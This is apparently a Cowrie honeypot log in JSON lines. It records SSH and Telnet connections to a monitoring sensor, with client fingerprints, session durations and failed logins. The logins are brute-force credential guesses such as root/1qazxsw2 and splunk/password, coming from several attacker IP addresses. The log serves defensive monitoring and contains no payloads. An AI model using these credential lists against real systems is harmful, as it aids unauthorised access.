{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":44062,"dst_ip":"159.203.135.109","dst_port":22,"session":"554b1d5d61db","protocol":"ssh","message":"New connection: 160.187.174.22:44062 (159.203.135.109:22) [session: 554b1d5d61db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:19:09.540321Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:19:09.543999Z","src_ip":"160.187.174.22","session":"554b1d5d61db","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:19:09.793046Z","src_ip":"160.187.174.22","session":"554b1d5d61db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"app","password":"rootroot","message":"login attempt [app/rootroot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:19:10.136372Z","src_ip":"91.92.40.153","session":"5f9ce16f4101","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qazxsw2","message":"login attempt [root/1qazxsw2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:19:10.543512Z","src_ip":"160.187.174.22","session":"554b1d5d61db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:19:11.449756Z","src_ip":"91.92.40.153","session":"5f9ce16f4101","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:19:11.795743Z","src_ip":"160.187.174.22","session":"554b1d5d61db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:19:14.289541Z","src_ip":"139.99.74.35","session":"896af093a0b6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":46706,"dst_ip":"159.203.135.109","dst_port":22,"session":"54a94b91ba21","protocol":"ssh","message":"New connection: 139.99.74.35:46706 (159.203.135.109:22) [session: 54a94b91ba21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:19:14.513917Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":49112,"dst_ip":"10.17.0.5","dst_port":22,"session":"fb233816b20a","protocol":"ssh","message":"New connection: 91.92.40.153:49112 (10.17.0.5:22) [session: fb233816b20a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:19:15.264765Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:19:15.591161Z","src_ip":"91.92.40.153","session":"fb233816b20a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:19:15.594115Z","src_ip":"91.92.40.153","session":"fb233816b20a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"splunk","password":"password","message":"login attempt [splunk/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:19:16.619141Z","src_ip":"91.92.40.153","session":"fb233816b20a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:19:17.884005Z","src_ip":"91.92.40.153","session":"fb233816b20a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.6","message":"Connection lost after 5.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:19:20.072774Z","src_ip":"139.99.74.35","session":"54a94b91ba21","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":46708,"dst_ip":"159.203.135.109","dst_port":22,"session":"d7276e393e1b","protocol":"ssh","message":"New connection: 139.99.74.35:46708 (159.203.135.109:22) [session: d7276e393e1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:19:20.306168Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":49222,"dst_ip":"10.17.0.5","dst_port":22,"session":"cb1c1d55d734","protocol":"ssh","message":"New connection: 91.92.40.153:49222 (10.17.0.5:22) [session: cb1c1d55d734]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:19:21.351883Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:19:21.506371Z","src_ip":"91.92.40.153","session":"cb1c1d55d734","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:19:21.512777Z","src_ip":"91.92.40.153","session":"cb1c1d55d734","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo18","password":"odoo","message":"login attempt [odoo18/odoo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:19:22.420407Z","src_ip":"91.92.40.153","session":"cb1c1d55d734","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:19:23.798843Z","src_ip":"91.92.40.153","session":"cb1c1d55d734","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":22.78620672225952,"message":"Connection lost after 22 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:19:25.028262Z","src_ip":"170.64.224.25","session":"b8cc6ddd9c50","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:19:25.096346Z","src_ip":"139.99.74.35","session":"d7276e393e1b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":41338,"dst_ip":"159.203.135.109","dst_port":22,"session":"3dd2e3792ff6","protocol":"ssh","message":"New connection: 139.99.74.35:41338 (159.203.135.109:22) [session: 3dd2e3792ff6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:19:25.352506Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":40150,"dst_ip":"10.17.0.5","dst_port":22,"session":"f59ee8d5c4fd","protocol":"ssh","message":"New connection: 91.92.40.153:40150 (10.17.0.5:22) [session: f59ee8d5c4fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:19:27.116697Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:19:27.601175Z","src_ip":"91.92.40.153","session":"f59ee8d5c4fd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:19:27.603737Z","src_ip":"91.92.40.153","session":"f59ee8d5c4fd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"teamspeak","password":"teamspeak","message":"login attempt [teamspeak/teamspeak] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:19:29.232551Z","src_ip":"91.92.40.153","session":"f59ee8d5c4fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":54.64413261413574,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:19:29.523979Z","src_ip":"170.64.224.25","session":"7b1719155969","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":58.598870277404785,"message":"Connection lost after 58 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:19:29.869052Z","src_ip":"170.64.224.25","session":"325cd7e3b884","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:19:30.727639Z","src_ip":"91.92.40.153","session":"f59ee8d5c4fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:19:31.487586Z","src_ip":"139.99.74.35","session":"3dd2e3792ff6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":41360,"dst_ip":"159.203.135.109","dst_port":22,"session":"def93b38f889","protocol":"ssh","message":"New connection: 139.99.74.35:41360 (159.203.135.109:22) [session: def93b38f889]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:19:31.695088Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":43752,"dst_ip":"10.17.0.5","dst_port":22,"session":"4c1d4cca0c7e","protocol":"ssh","message":"New connection: 91.92.40.153:43752 (10.17.0.5:22) [session: 4c1d4cca0c7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:19:32.903084Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:19:33.303824Z","src_ip":"91.92.40.153","session":"4c1d4cca0c7e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:19:33.306353Z","src_ip":"91.92.40.153","session":"4c1d4cca0c7e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":55398,"dst_ip":"159.203.135.109","dst_port":22,"session":"f5903084a80e","protocol":"ssh","message":"New connection: 160.187.174.22:55398 (159.203.135.109:22) [session: f5903084a80e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:19:34.188178Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:19:34.191940Z","src_ip":"160.187.174.22","session":"f5903084a80e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:19:34.423434Z","src_ip":"160.187.174.22","session":"f5903084a80e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"flask","password":"123456","message":"login attempt [flask/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:19:35.120304Z","src_ip":"160.187.174.22","session":"f5903084a80e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo18","password":"123","message":"login attempt [odoo18/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:19:35.207210Z","src_ip":"91.92.40.153","session":"4c1d4cca0c7e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:19:36.358480Z","src_ip":"160.187.174.22","session":"f5903084a80e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:19:36.504508Z","src_ip":"139.99.74.35","session":"def93b38f889","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":45410,"dst_ip":"159.203.135.109","dst_port":22,"session":"beeb3b95856f","protocol":"ssh","message":"New connection: 139.99.74.35:45410 (159.203.135.109:22) [session: beeb3b95856f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:19:36.764273Z"}
{"eventid":"cowrie.session.closed","duration":"4.0","message":"Connection lost after 4.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:19:36.857063Z","src_ip":"91.92.40.153","session":"4c1d4cca0c7e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":43786,"dst_ip":"10.17.0.5","dst_port":22,"session":"f9d038fa35fb","protocol":"ssh","message":"New connection: 91.92.40.153:43786 (10.17.0.5:22) [session: f9d038fa35fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:19:38.771344Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:19:39.171950Z","src_ip":"91.92.40.153","session":"f9d038fa35fb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:19:39.174322Z","src_ip":"91.92.40.153","session":"f9d038fa35fb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":52508,"dst_ip":"159.203.135.109","dst_port":23,"session":"0d893f9a7281","protocol":"telnet","message":"New connection: 170.64.224.25:52508 (159.203.135.109:23) [session: 0d893f9a7281]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:19:40.214773Z"}
{"eventid":"cowrie.session.closed","duration":"4.7","message":"Connection lost after 4.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:19:41.515639Z","src_ip":"139.99.74.35","session":"beeb3b95856f","protocol":"ssh"}
